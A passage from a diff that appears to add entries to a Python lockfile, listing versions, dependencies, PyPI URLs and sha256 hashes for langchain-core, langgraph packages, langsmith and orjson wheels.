+sdist = { url = "https://files.pythonhosted.org/packages/d3/ae/8b74458fc3850ec3d150eb9f45e857db129dafa801fb5cf173dfc9f8bbf3/langchain_core-1.3.3.tar.gz", hash = "sha256:fa510a5db8efdc0c6ff41c0939fb5c00a0183c11f6b84233e892e3227ff69182", size = 915041, upload-time = "2026-05-05T19:02:36.612Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1f/01/4771b7ab2af1d1aba5b710bd8f13d9225c609425214b357590a17b01be77/langchain_core-1.3.3-py3-none-any.whl", hash = "sha256:18aae8506f37da7f74398492279a7d6efcee4f8e23c4c41c7af080eeb7ef7bd1", size = 543857, upload-time = "2026-05-05T19:02:34.52Z" },
+]
+
+[[package]]
+name = "langchain-protocol"
+version = "0.0.17"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/44/b3/4e2429876c7a35585618caa2b9f9089f7162a6b50562b614ad82ac11c17e/langchain_protocol-0.0.17.tar.gz", hash = "sha256:e7cbe58c205df4b4fd87dc6d5bb23f10e13b236d0e2e1b0b9d05bc2b648f3eea", size = 6026, upload-time = "2026-06-12T18:39:51.923Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/13/0a/a1bfe72c6ec856e99773bbd96c8086421e554b3693d0142b9ea009c6ac92/langchain_protocol-0.0.17-py3-none-any.whl", hash = "sha256:982a08fe152586ed10d4ff3d538c2e0b5766e5f307cdea325e10be3f2c17cae6", size = 7096, upload-time = "2026-06-12T18:39:50.973Z" },
+]
+
+[[package]]
+name = "langgraph"
+version = "1.1.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph-checkpoint" },
+    { name = "langgraph-prebuilt" },
+    { name = "langgraph-sdk" },
+    { name = "pydantic" },
+    { name = "xxhash" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5c/e5/d3f72ead3c7f15769d5a9c07e373628f1fbaf6cbe7735694d7085859acf6/langgraph-1.1.6.tar.gz", hash = "sha256:1783f764b08a607e9f288dbcf6da61caeb0dd40b337e5c9fb8b412341fbc0b60", size = 549634, upload-time = "2026-04-03T19:01:32.561Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/71/e6/b36ecdb3ff4ba9a290708d514bae89ebbe2f554b6abbe4642acf3fddbe51/langgraph-1.1.6-py3-none-any.whl", hash = "sha256:fdbf5f54fa5a5a4c4b09b7b5e537f1b2fa283d2f0f610d3457ddeecb479458b9", size = 169755, upload-time = "2026-04-03T19:01:30.686Z" },
+]
+
+[[package]]
+name = "langgraph-checkpoint"
+version = "4.0.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "ormsgpack" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/44/a8df45d1e8b4637e29789fa8bae1db022c953cc7ac80093cfc52e923547e/langgraph_checkpoint-4.0.1.tar.gz", hash = "sha256:b433123735df11ade28829e40ce25b9be614930cd50245ff2af60629234befd9", size = 158135, upload-time = "2026-02-27T21:06:16.092Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/65/4c/09a4a0c42f5d2fc38d6c4d67884788eff7fd2cfdf367fdf7033de908b4c0/langgraph_checkpoint-4.0.1-py3-none-any.whl", hash = "sha256:e3adcd7a0e0166f3b48b8cf508ce0ea366e7420b5a73aa81289888727769b034", size = 50453, upload-time = "2026-02-27T21:06:14.293Z" },
+]
+
+[[package]]
+name = "langgraph-checkpoint-postgres"
+version = "3.0.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langgraph-checkpoint" },
+    { name = "orjson" },
+    { name = "psycopg" },
+    { name = "psycopg-pool" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/95/7a/8f439966643d32111248a225e6cb33a182d07c90de780c4dbfc1e0377832/langgraph_checkpoint_postgres-3.0.5.tar.gz", hash = "sha256:a8fd7278a63f4f849b5cbc7884a15ca8f41e7d5f7467d0a66b31e8c24492f7eb", size = 127856, upload-time = "2026-03-18T21:25:29.785Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e8/87/b0f98b33a67204bca9d5619bcd9574222f6b025cf3c125eedcec9a50ecbc/langgraph_checkpoint_postgres-3.0.5-py3-none-any.whl", hash = "sha256:86d7040a88fd70087eaafb72251d796696a0a2d856168f5c11ef620771411552", size = 42907, upload-time = "2026-03-18T21:25:28.75Z" },
+]
+
+[[package]]
+name = "langgraph-prebuilt"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph-checkpoint" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/99/4c/06dac899f4945bedb0c3a1583c19484c2cc894114ea30d9a538dd270086e/langgraph_prebuilt-1.0.9.tar.gz", hash = "sha256:93de7512e9caade4b77ead92428f6215c521fdb71b8ffda8cd55f0ad814e64de", size = 165850, upload-time = "2026-04-03T14:06:37.721Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1d/a2/8368ac187b75e7f9d938ca075d34f116683f5cfc48d924029ee79aea147b/langgraph_prebuilt-1.0.9-py3-none-any.whl", hash = "sha256:776c8e3154a5aef5ad0e5bf3f263f2dcaab3983786cc20014b7f955d99d2d1b2", size = 35958, upload-time = "2026-04-03T14:06:36.58Z" },
+]
+
+[[package]]
+name = "langgraph-sdk"
+version = "0.3.13"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx" },
+    { name = "orjson" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/0e/db/77a45127dddcfea5e4256ba916182903e4c31dc4cfca305b8c386f0a9e53/langgraph_sdk-0.3.13.tar.gz", hash = "sha256:419ca5663eec3cec192ad194ac0647c0c826866b446073eb40f384f950986cd5", size = 196360, upload-time = "2026-04-07T20:34:18.766Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fe/ef/64d64e9f8eea47ce7b939aa6da6863b674c8d418647813c20111645fcc62/langgraph_sdk-0.3.13-py3-none-any.whl", hash = "sha256:aee09e345c90775f6de9d6f4c7b847cfc652e49055c27a2aed0d981af2af3bd0", size = 96668, upload-time = "2026-04-07T20:34:17.866Z" },
+]
+
+[[package]]
+name = "langsmith"
+version = "0.8.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx" },
+    { name = "orjson", marker = "platform_python_implementation != 'PyPy'" },
+    { name = "packaging" },
+    { name = "pydantic" },
+    { name = "requests" },
+    { name = "requests-toolbelt" },
+    { name = "uuid-utils" },
+    { name = "xxhash" },
+    { name = "zstandard" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a8/64/95f1f013531395f4e8ed73caeee780f65c7c58fe028cb543f8937b45611b/langsmith-0.8.0.tar.gz", hash = "sha256:59fe5b2a56bbbe14a08aa76691f84b49e8675dd21e11b57d80c6db8c08bac2e3", size = 4432996, upload-time = "2026-04-30T22:13:07.341Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f3/e1/a4be2e696c9473bb53298df398237da5674704d781d4b748ed35aeef592a/langsmith-0.8.0-py3-none-any.whl", hash = "sha256:12cc4bc5622b835a6d841964d6034df3617bdb912dae0c1381fd0a68a9b3a3ef", size = 393268, upload-time = "2026-04-30T22:13:05.56Z" },
+]
+
+[[package]]
+name = "orjson"
+version = "3.11.8"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/9d/1b/2024d06792d0779f9dbc51531b61c24f76c75b9f4ce05e6f3377a1814cea/orjson-3.11.8.tar.gz", hash = "sha256:96163d9cdc5a202703e9ad1b9ae757d5f0ca62f4fa0cc93d1f27b0e180cc404e", size = 5603832, upload-time = "2026-03-31T16:16:27.878Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/67/41/5aa7fa3b0f4dc6b47dcafc3cea909299c37e40e9972feabc8b6a74e2730d/orjson-3.11.8-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:003646067cc48b7fcab2ae0c562491c9b5d2cbd43f1e5f16d98fd118c5522d34", size = 229229, upload-time = "2026-03-31T16:14:50.424Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/d7/57e7f2458e0a2c41694f39fc830030a13053a84f837a5b73423dca1f0938/orjson-3.11.8-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:ed193ce51d77a3830cad399a529cd4ef029968761f43ddc549e1bc62b40d88f8", size = 128871, upload-time = "2026-03-31T16:14:51.888Z" },
+    { url = "https://files.pythonhosted.org/packages/53/4a/e0fdb9430983e6c46e0299559275025075568aad5d21dd606faee3703924/orjson-3.11.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30491bc4f862aa15744b9738517454f1e46e56c972a2be87d70d727d5b2a8f8", size = 132104, upload-time = "2026-03-31T16:14:53.142Z" },
+    { url = "https://files.pythonhosted.org/packages/08/4a/2025a60ff3f5c8522060cda46612d9b1efa653de66ed2908591d8d82f22d/orjson-3.11.8-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6eda5b8b6be91d3f26efb7dc6e5e68ee805bc5617f65a328587b35255f138bf4", size = 130483, upload-time = "2026-03-31T16:14:54.605Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/3c/b9cde05bdc7b2385c66014e0620627da638d3d04e4954416ab48c31196c5/orjson-3.11.8-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8db7bfb6fe03581bbab54d7c4124a6dd6a7f4273a38f7267197890f094675f", size = 135481, upload-time = "2026-03-31T16:14:55.901Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/f2/a8238e7734de7cb589fed319857a8025d509c89dc52fdcc88f39c6d03d5a/orjson-3.11.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d8b5231de76c528a46b57010bbd83fb51e056aa0220a372fd5065e978406f1c", size = 146819, upload-time = "2026-03-31T16:14:57.548Z" },
+    { url = "https://files.pythonhosted.org/packages/db/10/dbf1e2a3cafea673b1b4350e371877b759060d6018a998643b7040e5de48/orjson-3.11.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:58a4a208a6fbfdb7a7327b8f201c6014f189f721fd55d047cafc4157af1bc62a", size = 132846, upload-time = "2026-03-31T16:14:58.91Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/fc/55e667ec9c85694038fcff00573d221b085d50777368ee3d77f38668bf3c/orjson-3.11.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f8952d6d2505c003e8f0224ff7858d341fa4e33fef82b91c4ff0ef070f2393c", size = 133580, upload-time = "2026-03-31T16:15:00.519Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/a6/c08c589a9aad0cb46c4831d17de212a2b6901f9d976814321ff8e69e8785/orjson-3.11.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0022bb50f90da04b009ce32c512dc1885910daa7cb10b7b0cba4505b16db82a8", size = 142042, upload-time = "2026-03-31T16:15:01.906Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/cc/2f78ea241d52b717d2efc38878615fe80425bf2beb6e68c984dde257a766/orjson-3.11.8-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ff51f9d657d1afb6f410cb435792ce4e1fe427aab23d2fcd727a2876e21d4cb6", size = 423845, upload-time = "2026-03-31T16:15:03.703Z" },
+    { url = "https://files.pythonhosted.org/packages/70/07/c17dcf05dd8045457538428a983bf1f1127928df5bf328cb24d2b7cddacb/orjson-3.11.8-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6dbe9a97bdb4d8d9d5367b52a7c32549bba70b2739c58ef74a6964a6d05ae054", size = 147729, upload-time = "2026-03-31T16:15:05.203Z" },
+    { url = "https://files.pythonhosted.org/packages/90/6c/0fb6e8a24e682e0958d71711ae6f39110e4b9cd8cab1357e2a89cb8e1951/orjson-3.11.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a5c370674ebabe16c6ccac33ff80c62bf8a6e59439f5e9d40c1f5ab8fd2215b7", size = 136425, upload-time = "2026-03-31T16:15:07.052Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/35/4d3cc3a3d616035beb51b24a09bb872942dc452cf2df0c1d11ab35046d9f/orjson-3.11.8-cp311-cp311-win32.whl", hash = "sha256:0e32f7154299f42ae66f13488963269e5eccb8d588a65bc839ed986919fc9fac", size = 131870, upload-time = "2026-03-31T16:15:08.678Z" },
+    { url = "https://files.pythonhosted.org/packages/13/26/9fe70f81d16b702f8c3a775e8731b50ad91d22dacd14c7599b60a0941cd1/orjson-3.11.8-cp311-cp311-win_amd64.whl", hash = "sha256:25e0c672a2e32348d2eb33057b41e754091f2835f87222e4675b796b92264f06", size = 127440, upload-time = "2026-03-31T16:15:09.994Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/c6/b038339f4145efd2859c1ca53097a52c0bb9cbdd24f947ebe146da1ad067/orjson-3.11.8-cp311-cp311-win_arm64.whl", hash = "sha256:9185589c1f2a944c17e26c9925dcdbc2df061cc4a145395c57f0c51f9b5dbfcd", size = 127399, upload-time = "2026-03-31T16:15:11.412Z" },
+    { url = "https://files.pythonhosted.org/packages/01/f6/8d58b32ab32d9215973a1688aebd098252ee8af1766c0e4e36e7831f0295/orjson-3.11.8-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1cd0b77e77c95758f8e1100139844e99f3ccc87e71e6fc8e1c027e55807c549f", size = 229233, upload-time = "2026-03-31T16:15:12.762Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/8b/2ffe35e71f6b92622e8ea4607bf33ecf7dfb51b3619dcfabfd36cbe2d0a5/orjson-3.11.8-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:6a3d159d5ffa0e3961f353c4b036540996bf8b9697ccc38261c0eac1fd3347a6", size = 128772, upload-time = "2026-03-31T16:15:14.237Z" },
+    { url = "https://files.pythonhosted.org/packages/27/d2/1f8682ae50d5c6897a563cb96bc106da8c9cb5b7b6e81a52e4cc086679b9/orjson-3.11.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76070a76e9c5ae661e2d9848f216980d8d533e0f8143e6ed462807b242e3c5e8", size = 131946, upload-time = "2026-03-31T16:15:15.607Z" },
+    { url = "https://files.pythonhosted.org/packages/52/4b/5500f76f0eece84226e0689cb48dcde081104c2fa6e2483d17ca13685ffb/orjson-3.11.8-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:54153d21520a71a4c82a0dbb4523e468941d549d221dc173de0f019678cf3813", size = 130368, upload-time = "2026-03-31T16:15:17.066Z" },
+    { url = "https://files.pythonhosted.org/packages/da/4e/58b927e08fbe9840e6c920d9e299b051ea667463b1f39a56e668669f8508/orjson-3.11.8-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:469ac2125611b7c5741a0b3798cd9e5786cbad6345f9f400c77212be89563bec", size = 135540, upload-time = "2026-03-31T16:15:18.404Z" },
+    { url = "https://files.pythonhosted.org/packages/56/7c/ba7cb871cba1bcd5cd02ee34f98d894c6cea96353ad87466e5aef2429c60/orjson-3.11.8-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14778ffd0f6896aa613951a7fbf4690229aa7a543cb2bfbe9f358e08aafa9546", size = 146877, upload-time = "2026-03-31T16:15:19.833Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/5d/eb9c25fc1386696c6a342cd361c306452c75e0b55e86ad602dd4827a7fd7/orjson-3.11.8-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea56a955056a6d6c550cf18b3348656a9d9a4f02e2d0c02cabf3c73f1055d506", size = 132837, upload-time = "2026-03-31T16:15:21.282Z" },
+    { url = "https://files.pythonhosted.org/packages/37/87/5ddeb7fc1fbd9004aeccab08426f34c81a5b4c25c7061281862b015fce2b/orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53a0f57e59a530d18a142f4d4ba6dfc708dc5fdedce45e98ff06b44930a2a48f", size = 133624, upload-time = "2026-03-31T16:15:22.641Z" },
+    { url = "https://files.pythonhosted.org/packages/22/09/90048793db94ee4b2fcec4ac8e5ddb077367637d6650be896b3494b79bb7/orjson-3.11.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9b48e274f8824567d74e2158199e269597edf00823a1b12b63d48462bbf5123e", size = 141904, upload-time = "2026-03-31T16:15:24.435Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/cf/eb284847487821a5d415e54149a6449ba9bfc5872ce63ab7be41b8ec401c/orjson-3.11.8-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:3f262401086a3960586af06c054609365e98407151f5ea24a62893a40d80dbbb", size = 423742, upload-time = "2026-03-31T16:15:26.155Z" },
+    { url = "https://files.pythonhosted.org/packages/44/09/e12423d327071c851c13e76936f144a96adacfc037394dec35ac3fc8d1e8/orjson-3.11.8-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8e8c6218b614badf8e229b697865df4301afa74b791b6c9ade01d19a9953a942", size = 147806, upload-time = "2026-03-31T16:15:27.909Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/6d/37c2589ba864e582ffe7611643314785c6afb1f83c701654ef05daa8fcc7/orjson-3.11.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:093d489fa039ddade2db541097dbb484999fcc65fc2b0ff9819141e2ab364f25", size = 136485, upload-time = "2026-03-31T16:15:29.749Z" },
+    { url = "https://files.pythonhosted.org/packages/be/c9/135194a02ab76b04ed9a10f68624b7ebd238bbe55548878b11ff15a0f352/orjson-3.11.8-cp312-cp312-win32.whl", hash = "sha256:e0950ed1bcb9893f4293fd5c5a7ee10934fbf82c4101c70be360db23ce24b7d2", size = 131966, upload-time = "2026-03-31T16:15:31.687Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/9a/9796f8fbe3cf30ce9cb696748dbb535e5c87be4bf4fe2e9ca498ef1fa8cf/orjson-3.11.8-cp312-cp312-win_amd64.whl", hash = "sha256:3cf17c141617b88ced4536b2135c552490f07799f6ad565948ea07bef0dcb9a6", size = 127441, upload-time = "2026-03-31T16:15:33.333Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/47/5aaf54524a7a4a0dd09dd778f3fa65dd2108290615b652e23d944152bc8e/orjson-3.11.8-cp312-cp312-win_arm64.whl", hash = "sha256:48854463b0572cc87dac7d981aa72ed8bf6deedc0511853dc76b8bbd5482d36d", size = 127364, upload-time = "2026-03-31T16:15:34.748Z" },
+    { url = "https://files.pythonhosted.org/packages/66/7f/95fba509bb2305fab0073558f1e8c3a2ec4b2afe58ed9fcb7d3b8beafe94/orjson-3.11.8-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3f23426851d98478c8970da5991f84784a76682213cd50eb73a1da56b95239dc", size = 229180, upload-time = "2026-03-31T16:15:36.426Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/9d/b237215c743ca073697d759b5503abd2cb8a0d7b9c9e21f524bcf176ab66/orjson-3.11.8-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:ebaed4cef74a045b83e23537b52ef19a367c7e3f536751e355a2a394f8648559", size = 128754, upload-time = "2026-03-31T16:15:38.049Z" },
+    { url = "https://files.pythonhosted.org/packages/42/3d/27d65b6d11e63f133781425f132807aef793ed25075fec686fc8e46dd528/orjson-3.11.8-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:97c8f5d3b62380b70c36ffacb2a356b7c6becec86099b177f73851ba095ef623", size = 131877, upload-time = "2026-03-31T16:15:39.484Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/cc/faee30cd8f00421999e40ef0eba7332e3a625ce91a58200a2f52c7fef235/orjson-3.11.8-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:436c4922968a619fb7fef1ccd4b8b3a76c13b67d607073914d675026e911a65c", size = 130361, upload-time = "2026-03-31T16:15:41.274Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/bb/a6c55896197f97b6d4b4e7c7fd77e7235517c34f5d6ad5aadd43c54c6d7c/orjson-3.11.8-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1ab359aff0436d80bfe8a23b46b5fea69f1e18aaf1760a709b4787f1318b317f", size = 135521, upload-time = "2026-03-31T16:15:42.758Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/7c/ca3a3525aa32ff636ebb1778e77e3587b016ab2edb1b618b36ba96f8f2c0/orjson-3.11.8-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89b6d0b3a8d81e1929d3ab3d92bbc225688bd80a770c49432543928fe09ac55", size = 146862, upload-time = "2026-03-31T16:15:44.341Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/0c/18a9d7f18b5edd37344d1fd5be17e94dc652c67826ab749c6e5948a78112/orjson-3.11.8-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:29c009e7a2ca9ad0ed1376ce20dd692146a5d9fe4310848904b6b4fee5c5c137", size = 132847, upload-time = "2026-03-31T16:15:46.368Z" },
+    { url = "https://files.pythonhosted.org/packages/23/91/7e722f352ad67ca573cee44de2a58fb810d0f4eb4e33276c6a557979fd8a/orjson-3.11.8-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b895b781b3e395c067129d8551655642dfe9437273211d5404e87ac752b53", size = 133637, upload-time = "2026-03-31T16:15:48.123Z" },
+    { url = "https://files.pythonhosted.org/packages/af/04/32845ce13ac5bd1046ddb02ac9432ba856cc35f6d74dde95864fe0ad5523/orjson-3.11.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:88006eda83858a9fdf73985ce3804e885c2befb2f506c9a3723cdeb5a2880e3e", size = 141906, upload-time = "2026-03-31T16:15:49.626Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5e/c551387ddf2d7106d9039369862245c85738b828844d13b99ccb8d61fd06/orjson-3.11.8-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:55120759e61309af7fcf9e961c6f6af3dde5921cdb3ee863ef63fd9db126cae6", size = 423722, upload-time = "2026-03-31T16:15:51.176Z" },
+    { url = "https://files.pythonhosted.org/packages/00/a3/ecfe62434096f8a794d4976728cb59bcfc4a643977f21c2040545d37eb4c/orjson-3.11.8-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98bdc6cb889d19bed01de46e67574a2eab61f5cc6b768ed50e8ac68e9d6ffab6", size = 147801, upload-time = "2026-03-31T16:15:52.939Z" },
+    { url = "https://files.pythonhosted.org/packages/18/6d/0dce10b9f6643fdc59d99333871a38fa5a769d8e2fc34a18e5d2bfdee900/orjson-3.11.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:708c95f925a43ab9f34625e45dcdadf09ec8a6e7b664a938f2f8d5650f6c090b", size = 136460, upload-time = "2026-03-31T16:15:54.431Z" },
+    { url = "https://files.pythonhosted.org/packages/01/d6/6dde4f31842d87099238f1f07b459d24edc1a774d20687187443ab044191/orjson-3.11.8-cp313-cp313-win32.whl", hash = "sha256:01c4e5a6695dc09098f2e6468a251bc4671c50922d4d745aff1a0a33a0cf5b8d", size = 131956, upload-time = "2026-03-31T16:15:56.081Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/f9/4e494a56e013db957fb77186b818b916d4695b8fa2aa612364974160e91b/orjson-3.11.8-cp313-cp313-win_amd64.whl", hash = "sha256:c154a35dd1330707450bb4d4e7dd1f17fa6f42267a40c1e8a1daa5e13719b4b8", size = 127410, upload-time = "2026-03-31T16:15:57.54Z" },
+    { url = "https://files.pythonhosted.org/packages/57/7f/803203d00d6edb6e9e7eef421d4e1adbb5ea973e40b3533f3cfd9aeb374e/orjson-3.11.8-cp313-cp313-win_arm64.whl", hash = "sha256:4861bde57f4d253ab041e374f44023460e60e71efaa121f3c5f0ed457c3a701e", size = 127338, upload-time = "2026-03-31T16:15:59.106Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/35/b01910c3d6b85dc882442afe5060cbf719c7d1fc85749294beda23d17873/orjson-3.11.8-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:ec795530a73c269a55130498842aaa762e4a939f6ce481a7e986eeaa790e9da4", size = 229171, upload-time = "2026-03-31T16:16:00.651Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/56/c9ec97bd11240abef39b9e5d99a15462809c45f677420fd148a6c5e6295e/orjson-3.11.8-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c492a0e011c0f9066e9ceaa896fbc5b068c54d365fea5f3444b697ee01bc8625", size = 128746, upload-time = "2026-03-31T16:16:02.673Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/e4/66d4f30a90de45e2f0cbd9623588e8ae71eef7679dbe2ae954ed6d66a41f/orjson-3.11.8-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:883206d55b1bd5f5679ad5e6ddd3d1a5e3cac5190482927fdb8c78fb699193b5", size = 131867, upload-time = "2026-03-31T16:16:04.342Z" },
+    { url = "https://files.pythonhosted.org/packages/19/30/2a645fc9286b928675e43fa2a3a16fb7b6764aa78cc719dc82141e00f30b/orjson-3.11.8-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5774c1fdcc98b2259800b683b19599c133baeb11d60033e2095fd9d4667b82db", size = 124664, upload-time = "2026-03-31T16:16:05.837Z" },
+    { url = "https://files.pythonhosted.org/packages/db/44/77b9a86d84a28d52ba3316d77737f6514e17118119ade3f91b639e859029/orjson-3.11.8-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ac7381c83dd3d4a6347e6635950aa448f54e7b8406a27c7ecb4a37e9f1ae08b", size = 129701, upload-time = "2026-03-31T16:16:07.407Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/ea/eff3d9bfe47e9bc6969c9181c58d9f71237f923f9c86a2d2f490cd898c82/orjson-3.11.8-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14439063aebcb92401c11afc68ee4e407258d2752e62d748b6942dad20d2a70d", size = 141202, upload-time = "2026-03-31T16:16:09.48Z" },
+    { url = "https://files.pythonhosted.org/packages/52/c8/90d4b4c60c84d62068d0cf9e4d8f0a4e05e76971d133ac0c60d818d4db20/orjson-3.11.8-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fa72e71977bff96567b0f500fc5bfd2fdf915f34052c782a4c6ebbdaa97aa858", size = 127194, upload-time = "2026-03-31T16:16:11.02Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/c7/ea9e08d1f0ba981adffb629811148b44774d935171e7b3d780ae43c4c254/orjson-3.11.8-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7679bc2f01bb0d219758f1a5f87bb7c8a81c0a186824a393b366876b4948e14f", size = 133639, upload-time = "2026-03-31T16:16:13.434Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/8c/ddbbfd6ba59453c8fc7fe1d0e5983895864e264c37481b2a791db635f046/orjson-3.11.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14f7b8fcb35ef403b42fa5ecfa4ed032332a91f3dc7368fbce4184d59e1eae0d", size = 141914, upload-time = "2026-03-31T16:16:14.955Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/31/dbfbefec9df060d34ef4962cd0afcb6fa7a9ec65884cb78f04a7859526c3/orjson-3.11.8-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c2bdf7b2facc80b5e34f48a2d557727d5c5c57a8a450de122ae81fa26a81c1bc", size = 423800, upload-time = "2026-03-31T16:16:16.594Z" },
+    { url = "https://files.pythonhosted.org/packages/87/cf/f74e9ae9803d4ab46b163494adba636c6d7ea955af5cc23b8aaa94cfd528/orjson-3.11.8-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ccd7ba1b0605813a0715171d39ec4c314cb97a9c85893c2c5c0c3a3729df38bf", size = 147837, upload-time = "2026-03-31T16:16:18.585Z" },
+    { url = "https://files.pythonhosted.org/packages/64/e6/9214f017b5db85e84e68602792f742e5dc5249e963503d1b356bee611e01/orjson-3.11.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cdbc8c9c02463fef4d3c53a9ba3336d05496ec8e1f1c53326a1e4acc11f5c600", size = 136441, upload-time = "2026-03-31T16:16:20.151Z" },
+    { url = "https://files.pythonhosted.org/packages/24/dd/3590348818f58f837a75fb969b04cdf187ae197e14d60b5e5a794a38b79d/orjson-3.11.8-cp314-cp314-win32.whl", hash = "sha256:0b57f67710a8cd459e4e54eb96d5f77f3624eba0c661ba19a525807e42eccade", size = 131983, upload-time = "2026-03-31T16:16:21.823Z" },
